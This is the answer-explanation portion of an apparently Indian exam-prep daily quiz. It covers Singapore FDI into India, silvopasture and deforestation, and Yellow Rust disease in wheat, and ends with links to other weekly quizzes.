— Recently, India’s initiatives such as amendments by the SEBI to the REIT Regulations 2014 have created new opportunities for Singapore-based investors, which is why India is likely seeing high FDI from Singapore.

— The amount of FDI received by India in 2023-24 from different countries is Singapore (USD 11.77 billion), Mauritius (USD 8.0 billion), United States (USD 5.0 billion), Netherlands (USD 4.9 billion), Japan (USD 3.2 billion).

(Other Source: rbidocs.rbi.org.in )

— Silvopasture is a practice that integrates trees, fodder, and livestock in the same area.

— Silvopasture systems provide an effective remedy to deforestation trends. It has the potential to significantly reverse the bad trend of deforestation for pasture land.

— A study of deforestation factors in seven South American nations discovered that more than 70 per cent of deforestation was caused by growing demand for grazing.

— The trees on silvopasture grounds operate as natural carbon sinks, sequestering five to ten times more carbon than pastures without trees, while maintaining or increasing productivity.

— Silvopasture systems also regulate local climatic conditions, buffering against temperature and wind extremes and creating a comfortable living environment for animals.

Therefore, option (c) is the correct answer.

(Source: http://www.downtoearth.org.in )

— The Punjab Agriculture and Farmers’ Welfare Department issued an advisory about Yellow Rust disease in wheat crops followed by a similar advisory from the Indian Institute of Wheat and Barley Research (IIWBR) after Yellow Rust was detected in wheat crops in parts of Punjab and Haryana.

— Yellow Rust disease causes yellow streaks of powder or dust to form on wheat leaves and leaf sheaths.

— When handled, this yellow powder stains clothing or fingers. Under favourable conditions, the disease spreads quickly and has an impact on crop development and, ultimately, production.

— This happens when rust colonies in the leaves deplete the plant’s carbohydrates, reducing the green leaf area.

— In India, it is a serious illness in the Northern Hill Zone and the North-Western Plain Zone, spreading quickly when cool weather arrives and wind conditions are good. Rain, moisture, and fog promote the disease’s growth.

Therefore, option (d) is the correct answer.

Previous Daily Subject-Wise-Quiz

Daily subject-wise quiz — Polity and Governance (Week 61)

Daily Subject-wise quiz — History, Culture, and Social Issues (Week 61)

Daily subject-wise quiz — Environment, Geography, Science and Technology (Week 61)

Daily subject-wise quiz — Economy (Week 60)

Daily subject-wise quiz – International Relations (Week 60)

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